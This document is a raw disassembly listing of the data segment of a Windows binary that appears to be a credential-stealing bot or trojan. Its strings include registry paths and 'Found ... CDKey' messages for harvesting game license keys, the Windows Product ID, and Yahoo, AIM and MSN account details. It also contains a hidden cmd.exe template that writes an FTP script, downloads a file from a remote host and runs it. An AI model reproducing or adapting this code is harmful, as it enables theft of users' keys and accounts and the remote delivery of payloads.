dword_4456B8	dd 25206425h, 64hdword_4456C0	dd 455A4953h, 732520h, 0dword_4456CC	dd 4D54444Dh, 732520h, 0dword_4456D8	dd 4F544E52h, 732520h, 0dword_4456E4	dd 52464E52h, 732520h, 0dword_4456F0	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EAD0+10o
		align 4
dword_445704	dd 1							; sub_4304F0+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431310+13o
		align 8
aKernel32_dll_0	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431310+6o
		align 4
aA:					; DATA XREF: sub_433AB0+36o
		unicode	0, <€>,0
		dd 5 dup(0)
dword_445750	dd 0Eh dup(0)			dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 44685Ch, 446F20h,	446828h, 80000002h, 4467C8h
		dd 446F20h, 446798h, 80000002h,	446740h, 446F20h, 44671Ch
		dd 80000002h, 4466D4h, 446F20h,	4466BCh, 80000002h, 446678h
		dd 446F20h, 446650h, 80000002h,	446614h, 446F20h, 4465E0h
		dd 80000002h, 446580h, 446F20h,	446554h, 80000002h, 446530h
		dd 446528h, 4464FCh, 80000002h,	4464D4h, 446528h, 4464BCh
		dd 80000001h, 44648Ch, 446488h,	446478h, 80000002h, 44643Ch
		dd 446F20h, 44642Ch, 80000002h,	4463F0h, 446F20h, 4463DCh
		dd 80000002h, 446394h, 446F20h,	446378h, 80000002h, 446334h
		dd 446F20h, 446318h, 80000001h,	4462F0h, 446488h, 4462E0h
		dd 80000001h, 4462B8h, 446488h,	446298h, 80000002h, 44625Ch
		dd 446258h, 44623Ch, 80000002h,	446218h, 446210h, 4461F8h
		dd 80000001h, 4461CCh, 4461C4h,	4461A0h, 80000002h, 446154h
		dd 446F20h, 44612Ch, 80000002h,	4460D8h, 446F20h, 4460A0h
		dd 80000002h, 44603Ch, 446F20h,	446008h, 80000002h, 445FA8h
		dd 446F20h, 445F8Ch, 80000002h,	445F44h, 446F20h, 445F28h
		dd 80000002h, 445EE0h, 446F20h,	445ED0h, 80000002h, 445E94h
		dd 446F20h, 445E84h, 80000002h,	445E48h, 446F20h, 445E20h
		dd 80000002h, 445DCCh, 446F20h,	445DA4h, 80000002h, 445D54h
		dd 446F20h, 445D38h, 80000002h,	445D10h, 446488h, 445CFCh
		dd 80000002h, 445CC4h, 446F20h,	445C94h, 80000002h, 445C3Ch
		dd 446F20h, 445C20h, 80000001h,	445BD0h, 445BC8h, 445BACh
		dd 80000002h, 445B68h, 445B5Ch,	445B44h, 80000001h, 445B14h
		dd 445B08h, 445AE8h, 80000002h,	445AACh, 445BC8h, 445A8Ch
		dd 80000002h, 445A50h, 445BC8h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 4
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
		dd 2 dup(0)
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 8
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 4
		dd 0
aSof2key	db 'sof2key',0
		align 8
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 8
aCdkey		db 'CDKey',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 4
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 4
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 8
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 10h
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 8
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aNhl2002	db '[NHL 2002: ',0
		align 10h
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 10h
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 8
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
		dd 2 dup(0)
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 10h
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		align 10h
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 10h
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
		dd 2 dup(0)
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 10h
aCdkey_0	db 'CDkey',0
		align 4
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 8
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
		dd 2 dup(0)
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 8
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aHalfLife	db '[Half-Life: ',0
		align 10h
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
		dd 2 dup(0)
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 10h
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
		dd 2 dup(0)
aGlobalOperatio	db '[Global Operations: ',0
		align 10h
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 10h
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3230h, 0
		dd 79654Bh, 74666F53h, 65726177h, 6C61565Ch, 435C6576h
		dd 746E756Fh, 74537265h, 656B6972h, 7465535Ch, 676E6974h
		dd 73h,	2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 10h
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 8
aSerial		db 'Serial',0
		align 10h
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 10h
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 10h
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		align 10h
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 8
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 10h
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		align 10h
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		dd 2 dup(0)
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElect_0	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		align 10h
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00445788o
		align 8
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00435044o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00435008o
		align 8
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434FCAo
		align 10h
		dd 0
dword_4468F4	dd 3A6D6961h, 732520h, 0dword_446900	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434F0Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 10h
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 10h
aSMainS		db '%s\main\%s',0
		align 10h
aCodkey		db 'codkey',0
		align 4
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 10h
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 4
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 10h
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A34	dd 3A6E736Dh, 732520h, 0dword_446A40	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:004354D7o
		db 'ice',0
		align 10h
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:0043547Co
		align 8
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:0043534Eo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_435780+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_435780+52Bo
		align 10h
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_435780+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_435780+4A4o
		align 10h
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_435780+3BBo
		align 4


loc_446B6C:				; DATA XREF: sub_435780+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446B77:				; DATA XREF: sub_435780+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446B83:				; DATA XREF: sub_435780+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446B8F:				; DATA XREF: ___:00435F46o
					; ___:004361A0o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BA0:				; CODE XREF: ___:00446BA5j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BA0
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:004363CBo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ah dup(0)
off_446C90	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
dword_446CB0	dd 1				dd 9Bh dup(0)
byte_446F20	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F24	dd 0							; sub_424670+11o ...
dword_446F28	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D45Fr ...
		align 10h
dword_446F30	dd 0							; ___:0040D3C5w ...
		dd 8 dup(0)
dword_446F54	dd 41h dup(0)						; ___:0040D400o ...
dword_447058	dd 0							; ___:loc_40D454r ...
dword_44705C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D3CFr ...
dword_447060	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D600+CAw
dword_447064	dd 0							; sub_40D600+E3r
		dd 11h dup(0)
dword_4470AC	dd 0							; sub_40FFD0+47Dr
dword_4470B0	dd 0							; sub_40FFD0+515r ...
dword_4470B4	dd 0							; sub_40FFD0+655r ...
dword_4470B8	dd 0							; sub_40FFD0+B79r ...
dword_4470BC	dd 0							; sub_40FFD0+74Br
dword_4470C0	dd 0							; sub_40FFD0+828r
dword_4470C4	dd 0							; sub_40FFD0+77Cr
dword_4470C8	dd 0							; sub_40FFD0+4DDr ...
dword_4470CC	dd 0							; sub_40FFD0+311r
dword_4470D0	dd 0							; sub_40FFD0+34Dr ...
dword_4470D4	dd 0							; sub_40FFD0+33Dr
dword_4470D8	dd 0							; sub_40FFD0+3D2r
dword_4470DC	dd 0							; sub_40FFD0+E93r
dword_4470E0	dd 0							; sub_40FFD0+1220r ...
dword_4470E4	dd 0							; sub_412050+4DAr
dword_4470E8	dd 0							; sub_40FFD0+683r
dword_4470EC	dd 0							; sub_40FFD0+6B5r
dword_4470F0	dd 0							; sub_40FFD0+1252r
		dd 5 dup(0)
dword_447108	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44714A	db 0			; DATA XREF: sub_409AB0r sub_409B20r
		align 4
		db 3 dup(0)
byte_44714F	db 0			; DATA XREF: sub_40D600+10Fr
		db 0
byte_447151	db 0			; DATA XREF: sub_40DB90r
word_447152	dw 0			; DATA XREF: sub_40DB90+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_447267	db 0			; DATA XREF: ___:00412F3Ao
					; ___:00412FEFo ...
		db 3 dup(0)
byte_44726B	db 0			; DATA XREF: sub_41F900:loc_41F93Dr
		align 10h
dword_447270	dd 12h dup(0)						; sub_40FFD0+114o
		db 0
byte_4472B9	db 3 dup(0)		; DATA XREF: ___:00408B4Bo
					; sub_40FFD0+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447302	dw 0			; DATA XREF: ___:00408B22o
					; sub_40FFD0+132o
		dd 6 dup(0)
word_44731C	dw 0			; DATA XREF: sub_40FFD0+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44734B	db 0			; DATA XREF: ___:00408B74o
					; sub_40FFD0+17Co ...
		dd 12h dup(0)
dword_447394	dd 12h dup(0)						; sub_40FFD0+F7o ...
		db 0
byte_4473DD	db 3 dup(0)		; DATA XREF: ___:00408AADo
					; sub_40FFD0+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44746F	db 0			; DATA XREF: ___:00408B9Do
					; sub_40FFD0+19Ao
		dd 24h dup(0)
		db 0
byte_447501	db 3 dup(0)		; DATA XREF: sub_4250A0+2Bo
					; sub_4250A0+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44754A	dw 0			; DATA XREF: ___:00412F0Ao
					; ___:00412F29o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44763F	dd 0							; sub_41EFD0+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447719	db 0			; DATA XREF: sub_41B9F0+18r
		align 4
		dd 23h dup(0)
		db 3 dup(0)
byte_4477AB	db 0			; DATA XREF: sub_40D600:loc_40D98Fr
		dd 12h dup(0)
byte_4477F4	db 0			; DATA XREF: sub_40FFD0+842r
		align 4
		dd 0Bh dup(0)
dword_447824	dd 18h dup(0)						; sub_40EDE0+97o ...
		db 2 dup(0)
byte_447886	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D8D0+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4478CF	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D8D0:loc_41DF56r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_4478FF	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D8D0+68Fo ...
		dd 12h dup(0)
dword_447948	dd 2Bh dup(0)						; sub_41EFD0+630o ...
dword_4479F4	dd 0				dd 11h dup(0)
		db 0
dword_447A3D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DA8	db 0			; DATA XREF: sub_41EFD0+146r
					; sub_41EFD0+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C4E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448C52	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448CC6	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448D60	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448F7B	db 0			; DATA XREF: sub_4256D0+3Bw
					; sub_425740+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44917B	dd 0							; sub_425740+4Fw ...
dword_44917F	dd 0							; ___:0042413Dw ...
dword_449183	dd 0							; sub_425740+5Dr ...
dword_449187	dd 0							; sub_425740+8Cr ...
dword_44918B	dd 0							; sub_425740+9Dr
dword_44918F	dd 0							; ___:00424171r ...
byte_449193	db 0			; DATA XREF: sub_4256D0+42w
					; sub_425740+85w
		dd 302Ch dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444EF8o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0B0A3h dup(0)		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
		dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_4442F4o
		dd 6CAh	dup(0)
		db 3 dup(0)
dword_4D5F7B	dd 0							; sub_425970+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D6065	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D607C	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EBw
dword_4D607D	dd 0							; sub_422AE0:loc_423264r ...
		align 4
		dd 0
		db 0
dword_4D6089	dd 0							; sub_404C20+2Aw
byte_4D608D	db 3 dup(0)		; DATA XREF: ___:00412F64o
					; ___:00412F87o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D60B7	dd 0							; sub_427B60:loc_427C57r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D617B	db 0			; DATA XREF: sub_425900+16o
					; sub_425930+19o
		db 3 dup(0)
byte_4D617F	db 0			; DATA XREF: sub_425830+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D633F	db 0			; DATA XREF: ___:00408239o
					; ___:004086CAo ...
		dd 8 dup(0)
dword_4D6360	dd 0				dd 51h dup(0)
		db 0
byte_4D64A9	db 0			; DATA XREF: sub_4268B0:loc_426960r
					; sub_426D70:loc_426E25r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6725	dd 0							; sub_426D70+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4DE295	db 3 dup(0)		; DATA XREF: ___:00419F33o
					; sub_419FF0+13o
		dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5D7F	db 0			; DATA XREF: sub_426AF0+1Do
		dd 21h dup(0)
		db 0
byte_4E5E05	db 3 dup(0)		; DATA XREF: ___:00419F43o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E66DF	db 0			; DATA XREF: sub_426AF0+2Fo
		dd 1D5h	dup(0)
byte_4E6E34	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FFD0:loc_410012r ...
byte_4E6E35	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E4A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:004086DEo ...
		dd 0Fh dup(0)
		db 0
byte_4E6E89	db 0			; DATA XREF: sub_41F900+31w
					; sub_41F900+47w ...
		db 0
byte_4E6E8B	db 0			; DATA XREF: sub_418530+21o
					; sub_41D8D0+341o ...
		dd 7532h dup(0)
dword_504354	dd 0AB2h dup(0)	dword_506E1C	dd 1000h dup(0)						; ___:00419B3Do ...
dword_50AE1C	dd 333h	dup(0)						; ___:00419B58o ...
dword_50BAE8	dd 0							; sub_41A0B0+1Br ...
		dd 3 dup(0)
dword_50BAF8	dd 0							; ___:0041FBDDw ...
dword_50BAFC	dd 0							; sub_41FB30+2Aw ...
dword_50BB00	dd 0		dword_50BB04	dd 0							; ___:0041FBFBw
dword_50BB08	dd 0		dword_50BB0C	dd 0							; ___:0041FC07w ...
dword_50BB10	dd 0							; ___:0041FC0Dw ...
dword_50BB14	dd 0							; ___:00420E49o
dword_50BB18	dd 0							; sub_41FB30:loc_41FB54r ...
dword_50BB1C	dd 0							; ___:0041FC21w
dword_50BB20	dd 0							; sub_4205D0+41w ...
dword_50BB24	dd 0							; sub_4205D0+7Fr
dword_50BB28	dd 0							; sub_4205D0+92r ...
dword_50BB2C	dd 0							; sub_4205D0+148r
		dd 3 dup(0)
dword_50BB3C	dd 0							; ___:0041C245o
dword_50BB40	dd 0							; sub_4237C0+5r ...
dword_50BB44	dd 0							; ___:00423F4Br ...
		dd 7CEh	dup(0)
dword_50DA80	dd 6 dup(0)						; ___:00423E4Fo ...
dword_50DA98	dd 196h	dup(0)						; sub_423700+6Do
dword_50E0F0	dd 0		word_50E0F4	dw 0			; DATA XREF: sub_424F10+A9r
		align 4
byte_50E0F8	db 0			; DATA XREF: sub_425570:loc_4255D0r
					; sub_425570+97w
		align 4
dword_50E0FC	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_4268B0+D9r
dword_50E100	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4268B0+45r
dword_50E104	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4268B0+54r ...
		dd 0
dword_50E10C	dd 80h dup(0)						; sub_426AF0+129o
dword_50E30C	dd 0		dword_50E310	dd 0				dd 1Dh dup(0)
dword_50E388	dd 0							; ___:0042B1ADr ...
dword_50E38C	dd 0							; sub_42CBA0:loc_42CC36r ...
dword_50E390	dd 0		; resolved to->WS2_32.connect					; sub_431310+2Dr ...
dword_50E394	dd 0		dword_50E398	dd 0							; sub_430300r ...
dword_50E39C	dd 0		dword_50E3A0	dd 0							; sub_42F740+111w ...
dword_50E3A4	dd 0							; sub_42F740+F6r ...
dword_50E3A8	dd 0							; ___:loc_430440r
dword_50E3AC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_431070+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 134h	dup(0)
		dd 0
		dd 0
dword_50E894	dd 0		dword_50E898	dd 0				align 10h
dword_50E8A0	dd 10h dup(0)						; sub_430210:loc_430240o ...
dword_50E8E0	dd 8 dup(0)						; sub_42F5D0+25o ...
dword_50E900	dd 8 dup(0)						; sub_430720+25o ...
dword_50E920	dd 8 dup(0)						; sub_4315F0+84o ...
dword_50E940	dd 8 dup(0)						; sub_4315F0+8Bo ...
dword_50E960	dd 6 dup(0)						; sub_42F740:loc_42F857o ...
dword_50E978	dd 0				dd 2 dup(0)
dword_50E984	dd 0FFFFFFFFh			dd 3 dup(0)
dword_50E994	dd 0FFFFFFFFh			dd 19Ah	dup(0)
		dd 5 dup(5B704266h), 5 dup(5188F15Ah), 5 dup(471AF2F5h)
		dd 5 dup(53F0CA32h), 5 dup(68659D12h), 5 dup(63136A45h)
		dd 5 dup(71414EA6h), 5 dup(2C9C2E45h), 5 dup(24DD1AF2h)
		dd 5 dup(68E35798h), 5 dup(2C2B6061h), 1Eh dup(0)
		dd 63136A45h, 10h dup(0)
		dd 2C2B6061h, 58h dup(0)
		dd 53F0CA32h, 1Bh dup(0)
		dd 24DD1AF2h, 14h dup(0)
		dd 5188F15Ah, 52h dup(0)
		dd 5B704266h, 1Bh dup(0)
		dd 68E35798h, 0Bh dup(0)
		dd 71414EA6h, 0Ch dup(0)
		dd 68659D12h, 2Bh dup(0)
		dd 2C9C2E45h, 11h dup(0)
		dd 471AF2F5h, 0Ah dup(0)
		dd 28D0783h, 28E0000h, 28F0000h
dword_50F710	dd 28F1348h			dd 28F148Ch
dword_50F718	dd 28F1753h			dd 28F1A99h, 2900000h
dword_50F724	dd 2910000h			dd 2920000h, 292043Fh, 29208A9h, 2920CBCh
dword_50F738	dd 2930000h						; sub_40E810+25Ar ...
dword_50F73C	dd 29304E3h	dword_50F740	dd 2930740h			dd 2930830h, 2940000h
dword_50F74C	dd 2940458h						; sub_40EDE0+15Er ...
		dd 29406ABh
dword_50F754	dd 2950000h						; sub_40E810+22Cr
		dd 2960000h
dword_50F75C	dd 2960296h						; sub_420880+285r ...
		dd 2970000h
dword_50F764	dd 297114Ah						; sub_40E810+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 2750000h, 275012Bh, 2760000h, 276060Dh, 27607C7h, 2760B64h
		dd 2760CF1h, 2770000h, 2770689h, 27709D9h, 2770C62h, 2780000h
		dd 27804E2h, 2780550h, 278089Fh, 2780C83h, 2790000h, 2790437h
		dd 27905C0h, 279098Fh, 27909CCh, 2790F4Ah, 27A0000h, 27A0361h
		dd 27A05A7h, 27A074Ah, 27A0920h, 27A0B12h, 27A0C8Bh, 27A0DDEh
		dd 27B0000h, 27B00FFh
dword_50F858	dd 27B02CCh	dword_50F85C	dd 27B08FCh	dword_50F860	dd 27B0AB9h			dd 7C901005h, 7C9010EDh, 27B0D02h, 27B0D50h
dword_50F874	dd 27C0000h						; sub_4205D0+FEr
		dd 27C0622h, 27D0000h, 27D032Fh, 27D061Bh, 27E0000h, 27F0000h
		dd 27F08BCh, 2800000h, 2810000h, 28107EEh
dword_50F8A0	dd 2820000h						; sub_4205D0:loc_42061Cr ...
dword_50F8A4	dd 2820861h						; sub_40D600+332r ...
		dd 282094Fh, 2830000h, 28304C1h, 2840000h, 2841075h, 2850000h
		dd 2860000h
dword_50F8C4	dd 28615F4h			dd 286174Dh, 2861BA4h
dword_50F8D0	dd 2870000h						; sub_41B550+2Fr ...
		dd 28700F2h
dword_50F8D8	dd 28709F4h						; sub_420470+2Er ...
		dd 2880000h, 288033Bh, 2890000h
dword_50F8E8	dd 289044Ch			dd 28906BAh, 28A0000h, 28B0000h, 28B110Dh, 28B1CC4h, 28C0000h
		dd 28C06D4h, 28C0B6Ch
dword_50F90C	dd 28D0000h			dd 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
